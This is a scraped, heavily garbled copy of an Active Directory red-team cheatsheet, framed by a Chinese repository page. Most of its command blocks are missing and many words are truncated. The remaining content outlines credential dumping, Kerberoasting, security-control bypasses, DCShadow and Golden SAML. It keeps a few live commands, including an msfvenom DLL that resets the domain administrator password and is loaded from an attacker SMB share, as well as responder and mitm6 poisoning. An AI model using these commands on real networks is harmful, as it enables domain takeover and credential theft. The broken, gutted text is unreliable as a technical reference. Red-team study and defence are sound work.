Awesome-RedTeam-Cheatsheet - Red Team Cheatsheet in constant expansion.

项目说明

---

!image

---

Red Team Techniques

Initial Access Techniques (soon)

Code Execution Techniques (soon)

Lateral Mou Techniques (soon)

E Techniques (soon)

Persistence Techniques (soon)

Pri Escalation Techniques (soon)

Credential Dumping Techniques (soon)

Pi Techniques (soon)

---

Windows Protocols and Terminologies

Windows Protocols and Terminologies Guide (soon)

---

Miscs

OPSEC Guide

Malware De

Attacking AD Azure Cloud (soon)

---

Support

You can support me here :cat: :

<a href=" width=300 src=" me a Pizza&emoji=🍕&slug=bsolomon&button_colour=5F7FFF&font_colour=000000&font_family=Poppins&outline_colour=000000&coffee_colour=ffffff"></a>

Acti

This AD attacks CheatSheet, made by RistBS is inspired by the Actin-Cheat-Sheet repo.

Summary

AD Exploitation Cheat Sheet by RistBS

- Summary
- Tools
- Powershell Components
- Powershell Tricks
- PSWA Abusing
- Enumeration
- GPO enumeration
- ACL and ACE enumeration
- RID Cycling
- Pri Escalation
- Token Impersonation
- Kerberoasting
- ASREPRoasting
- DNSAdmin
- Lateral Mou
- WMIExec
- Credentials Dumping
- LSASS Dumping
- NTDS Dumping
- DPAPI Abusing
- LSA Dumping
- SAM Dumping
- Dump Registry Remotely and Directly
- Read GMSA Passwords
- Hash Cracking
- Bruteforce AD Password
- Custom Username and Password wordlist
- Pi
- SMB Pipes
- SharpSocks
- RDP Tunneling via DVC
- Persistence
- SIDHistory Injection
- AdminSDHolder and SDProp
- ACLs and ACEs Abusing
- GenericAll
- Enhanced Security Bypass
- AntiMalware Scan Interface
- ConstrainLanguageMode
- Just Enough Administration
- ExecutionPolicy
- RunAsPPL for Credentials Dumping
- ETW Disabling
- MS Exchange
- OWA, EWS and EAS Password Spraying
- GAL and OAB Extraction
- Pri
- ProxyLogon
- C
- MSSQL Server
- UNC Path Injection
- MC-SQLR Poisoning
- DML, DDL and Logon Triggers
- Forest Persistence
- DCShadow
- Cross Forest Attacks
- Trust Tickets
- Using KRBTGT Hash
- Azure Acti (AAD)
- AZ User Enumeration
- PowerZure
- Golden SAML
- PRT Manipulation
- MSOL Service Account
- Miscs
- Domain Le
- MachineAccountQuota (MAQ) Exploitation
- Bad-Pwd-Count
- Abusing IPv6 in AD
- Rogue DHCP
- IOXIDResol Enumeration
- References

Tools

Powershell tools :

[⭐] Nishang ->

nishang has multiples useful scripts for windows pentesting in Powershell en.

[⭐] PowerView ->

powerview is a script from powersploit that allow enumeration of the AD architecture for a potential lateral mou.

Enumeration tools :

[⭐] Bloodhound ->

[⭐] crackmapexec ->

AD exploitation toolkit :

[⭐] Impacket ->

[⭐] kekeo ->

Dumping Tools :

[⭐] mimikatz ->

[⭐] rubeus ->

Listener Tool :

[⭐] responder ->

Powershell Components

Powershell Tricks

PS-Session :

PSWA Abusing

allow anyone with creds to connect to any machine and any config

[ ! ] this action require credentials.

Enumeration

Find user with SPN

> using PowerView :

> using AD Module :

Trusts Enumeration

MapTrust :

Domain trusts for the current domain :

> using PowerView :

> using AD Module :

Forest Enumeration

Details about the current forest :

GPO enumeration

List of GPO

ACL and ACE enumeration

Enumerate All ACEs

#### Enumerate users and permissions

* if the user already has a SPN :*
> using PowerView :

> using AD Module :

LDAP Enumeration

*find service accounts*

*Enumeration with ldapsearch as authenticated user*

*Enumeration with ldapdomaindump (authenticated) with nice output*

*Enumeration with nmap scripts*

SMB Enumeration

*enumeration with crackmapexec as unauthenticated*

*enumeration with crackmapexec (authenticated)*

*enumeration with kerbrute, against Kerberos pre-auth bruteforcing:*

> by default, kerbrute uses the most secure mode (18 = sha1) to pull some hash. Using the downgrade option we can pull the deprecaded encryption type (23 = rc4hmac). Or use getNPusers to get some hash instead, it's safer!

*provide a password or a list of passwords to test against users*

*Enumerate some users*

Password Spraying on the domain

Dump Domain, Groups and Users using Bloodhound-Python:

Setting up Bloodhound:

RID Cycling

*Global Structure :*

S-1-5-21: S refers SID (Security Identifier)

--2375368561: Domain or Local Computer Identifier

1036: RID (Relati)

*User SID Structure :*

S-1-5-21---2375368561: Domain SID

1036: User RID

> using Crackmapexec :

> using lookupsid :

the value "20000" in lookupsid is to indicate how many RID will be tested

Pri Escalation

Token Impersonation

> The Impersonation token technique allows to impersonate a user by stealing his token, this token allows to exploit this technique because of the SSO processes, Interacti, process running...

> using PowerSploit :

*list tokens*

*Start a new process with the token of a user*

*process token manipulation*

> using Incognito :

*load incognito and list tokens :*

*impersonate token of "NT AUTHORITY\SYSTEM" :*

Kerberoasting

Enumerate kerberoastable user

> using impacket :

> using crackmapexec

*crack the hash :*

ASREPRoasting

Enumerate asreproastable user

*cracking the hash :*

hashcat -m 18200 -a 0 hash wordlist.txt --force

DNSAdmin

> Enumerate users in this group :

*This attack consists of injecting a malicious arbitrary DLL and restarting the dns.exe service,
since the DC serves as a DNS service, we can elevate our pri to a DA.*

> DLL File :

you can also create a dll file using msfvenom : msfvenom -p windows/x64/exec cmd='net user administrator aked /domain' -
f dll > evil.dll
it'll execute net user administrator aked /domain with SYSTEM pri

set the remote DLL path into the Windows Registry

\\10.10.14.33\share\evil.dll : SMB Share.

restart DNS service

Lateral Mou

WMIExec

*uses kerberos auth*

Credentials Dumping

LSASS Dumping

> parse creds with mimikatz

you can do it locally with mimikatz using : sekurlsa::logonpasswords.

NTDS Dumping

Abusing DRSUAPI for NTDS dumping

Abusing VSS for NTDS dumping

> using [Crackmapexec]() :

*you can do it manually too.*

DPAPI Abusing

> dump DPAPI BK

> Decrypt DPAPI MK

> decrypting protected file using MK

*crack DPAPI master key with JTR*

LSA Dumping

you can use mimikatz with this command : lsadump::secrets

SAM Dumping

*sa hive and SAM in another directory*

or just use : lsadump::sam

[ 📝 ] Notes : *you can dump SAM and LSA with crackmapexec or secretdump using these commands :*

Dump Registry Remotely and Directly

[ ❓ ] What is Registry ? : the Registry is divided into several sections called hives. A registry hive is a top le key predefined by the Windows system to store registry keys for specific objectives. Each registry hives has specific objectives, there are 6 registry hives, HKCU, HKLM, HKCR, HKU, HKCC and HKPD the most enteresting registry hives in pentesting is HKU and HKLM.

HKEY_LOCAL_MACHINE called HKLM includes three keys SAM, SYSTEM, and SECURITY.

> dump SYSTEM and SECURITY remotely from HKLM :

> dump HKU registry remotely with hashes argument :

Read GMSA Password

*gMSA dumping:*

Hash Cracking

> LM :

> NT :

> NTLMv1 :

> NTLMv2 :

note : some Hash Type in hashcat depend of the etype

Bruteforce AD Password

Custom Username and Password wordlist

default password list (pwd_list) :

Autumn
Spring
Winter
Summer

create passwords using bash & hashcat :

default username list (users.list) :

create custom usernames using username-anarchy :

Pi

Pivot with WDFW rules

*allow connections to localport*

SMB Pipes

Local/Remote ports can be forwarded using SMB pipes. You can use In or In for that.


In : *used to forward local or remote ports*




In : *used for dynamic port forwarding*

Case 1 *Local port forwarding through pipe forPivot: -L 33389:127.0.0.1:3389*

> SERVER SIDE :

> CLIENT SIDE :

Case 2 *Admin only remote port forwarding through pipe forPivot: -R 33389:127.0.0.1:3389*

> SERVER SIDE :

> CLIENT SIDE :

Case 3 *Dynamic port forwarding with In with forPivot as NamedPipe: -D 3333*

> SERVER SIDE :

> CLIENT SIDE :

SharpSocks

SharpSocks is mostly used in C2 Frameworks and work with C2 Implants

*build a server:*

RDP Tunneling via DVC

*sharings drives:*

*map the drives:*

create a server with SSFD.exe

*Redirect SSF port with D:*

*SSFD as a SOCK proxy*

Persistence

SIDHistory Injection

AdminSDHolder and SDProp

> [ ❓ ] : With DA pri (Full Control/Write permissions) on the AdminSDHolder object, it can be used as a backdoor/persistence mechanism by adding a user with Full Permissions (or other interesting permissions\) to the AdminSDHolder object.
In 60 minutes (when SDPROP runs), the user will be added with Full Control to the AC of groups like Domain Admins without actually being a member of it.

> using PowerView :

> using AD Module :

*Run SDProp manually*

ACLs and ACEs Abusing

GenericAll

list all groups to which the user belongs and has explicit access rights

Enhanced Security Bypass

AntiMalware Scan Interface

patching AMSI from Powershell6 :

ConstrainLanguageMode

Bypass CLM using runspace:

Just Enough Administration

> show current languages level :

> Bypass JEA in ConstrainedLanguage :

ExecutionPolicy

> bypass EP using encoding :

RunAsPPL for Credentials Dumping

[ ❓ ] : RunAsPPL is an additional LSA protection to prevent reading memory and code injection by non-protected processes.

> bypass RunAsPPL with mimikatz :

ETW Disabling

you can try obfuscation techniques on this command. To learn more about ETW see my course here

MS Exchange

OWA EWS and EAS Password Spraying

> using MailSniper :

> using ruler :

GAL and OAB Extraction

GAL (Global Address Book) Extraction

> using powershell :

OAB (Offline Address Book) Extraction

*extract OAB.XML file which contains records*

*extract LZX compressed file*

> using oaburl.py :

Pri

Pri use PushSubscription Feature, a user is able to capture the NTLM authentication data of an Exchange server With a simple call to the "PushSubscription" API

ProxyLogon

ProxyLogon is the name given to C that allows an attacker to bypass authentication and impersonate users on MS Exchange servers

> using metasploit:

C

this C RCE on EWS through fixed cryptographic keys

*Get for RCE :*


** : document.getElementById("_").value




** : ASP.NET_SessionId

MSSQL Server

UNC Path Injection

[ ❓ ] : Uniform Naming Con __allows the sharing of resources__ on a network via a very precise syntax: \IP-Ser\Folder\File

launch responder : responder -I eth0

MC-SQLR Poisoning

*The SQL Ser Protocol is a simple application-le that is used for the transfer of requests and responses between clients and database ser services.*

> we captured the hash of the Administrator with this .

DML, DDL and Logon Triggers

[ ❓ ] : Triggers are a stored procedure that automatically executes when an event occurs in the SQL Server.

Data Definition Language (DDL) – Executes on Create, Alter and Drop statements and some system stored procedures.

Data Manipulation Language (DML) – Executes on Insert, Update and Delete statements.

Logon Triggers – Executes on a user logon.

Triggers Listing

*list All triggers*

*list triggers for a database*

*list DDL and DML triggers on an instance using powershell*

*use DML triggers for persistence*

*use DDL triggers for persistence*

*use Logon triggers for persistence*

Forest Persistence

DCShadow

DCShadow temporarily registers a new domain controller in the target domain and uses it to "push" attributes like SIDHistory, SPNs... on specified objects without leaving the change logs for modified object!

*⚠️ Requirements :*

DA pri are required to use DCShadow.

The attacker's machine must be part of the root domain.

The attack needs 2 instances on a compromised machine :

1 instance : *start RPC servers with SYSTEM pri and specify attributes to be modified*

2 instance : *with enough pri of DA to push the :*

Cross Forest Attacks

Trust Tickets

*Dumping Trust Key*

*Forging IR-TGT using Trust key*

*get TGS for CIFS service*

*use TGS for CIFS service*

Using KRBTGT hash

Azure Acti

AZ User Enumeration

*connection to Azure Acti with Connect-MsolService.*

*this command allow enumeration with MFA (MultiFactor Authentification)*

*locate Azure AD Connect Server*

Enumeration using AZ CLI

Storage Enumeration

*blob storage enumeration*

PowerZure

*create a new user*

*Executes a command on a specified VM*

Golden SAML

*⚠️ Requirements :*

Admin pri of ADFS server

ADFS Public Certificate




IdP Name




Role Name

> Obtain ADFS Public Certificate:

> Obtain IdP Name:

> Obtain Role Name:

a toolkit to exploit Golden SAML can be found here

> Golden SAML is similar to golden ticket and affects the Kerberos protocol. Like the Golden Ticket, the Golden SAML allows an attacker to access resources protected by SAML agents (examples: Azure, AWS, , Okta, Salesforce, ...) with elevated pri through a golden ticket.

*ShockNAwe:*


1. Remotely extracts the AD FS configuration settings

2. Forges and signs a Golden SAML token

3. Extracts the ‘assertion’ portion of the Golden SAML token and passes it to the Azure Core Management API to obtain a valid access token for the API

4. Enumerates the Subscription ID

5. Enumerates the complete list of VMs in the subscription

6. Executes arbitrary commands on all VMs as SYSTEM/root

*WhiskeySAML:*

1. Remotely extract AD FS configuration settings

2. Forge and sign Golden SAML tokens

3. Pass the Golden SAML token to the Microsoft Azure portal

4. Log into the Azure portal as any user while bypassing Azure MFA configurations

PRT Manipulation

#### PassThePRT

*check AzureAdJoined Status and download Mimikatz:*

*Looking for prt and KeyValue:*

*use APKD function to decode KeyValue and save "Context" and "Deri" value:*

*Forge PRT-Cookie using lantern:*

*Generate JWT*

MSOL Service Account

> you can dump MSOL Service account with azuread_decrypt_msol.ps1 used by Azure AD Connect Sync and launch a DCsync attack with the dumped creds

*DCSync with MSOL account*

Miscs

Domain Le

#### MachineAccountQuota (MAQ) Exploitation

use crackmapexec (CME) with maq module :

cme ldap $dc -d $DOMAIN -u $USER -p $PASSWORD -M maq

#### BadPwdCount

Abusing IPv6 in AD

sending ICMPv6 packet to the target using ping6 :

ping6 -c 3 <target>

scanning IPv6 address using nmap :

nmap -6 -sCV dead:beef:0000:0000:b885:d62a:d679:573f --max-retries=2 --min-rate=3000 -Pn -T3

tips for adapting tools for ipv6 :

you can replace AF_INET value to AF_INET6 from socket python lib :

#### Rogue DHCP

mitm6 -i eth0 -d 'domain.job.local'`

#### IOXIDResol Enumeration

it's a little script that enumerate addresses in NetworkAddr field with RPC_C_AUTHN_DCE_PUBLIC level

References

项目信息

开发语言：未知

Star 数：1304

技术要点

该项目属于红蓝攻防方向的开源资源，代码结构清晰，适合安全研究人员学习参考。项目围绕Red Team Cheatsheet in constant expansion.展开，提供了可运行的实现，对理解相关安全机制、工具原理与攻防技术具有较高的研究价值。

从技术实现角度看，此类项目的核心在于对底层原理的深入理解与工程化落地。开发者在研究过程中可以结合官方文档与社区讨论，梳理项目的初始化流程、核心模块职责与数据流转，逐步掌握其中的技术细节与设计思路。

使用与学习建议

1. 下载源码压缩包，解压到本地环境。

2. 根据项目类型准备对应的运行环境与依赖。

3. 按照 README 中的步骤完成配置与部署。

4. 在隔离的测试环境中运行验证，避免影响生产系统。

免责声明

本资源来源于开源社区，仅供安全研究、技术学习与合法授权范围内的攻防演练使用，请勿用于任何非法或侵害他人权益的用途。使用本项目产生的一切后果由使用者自行承担。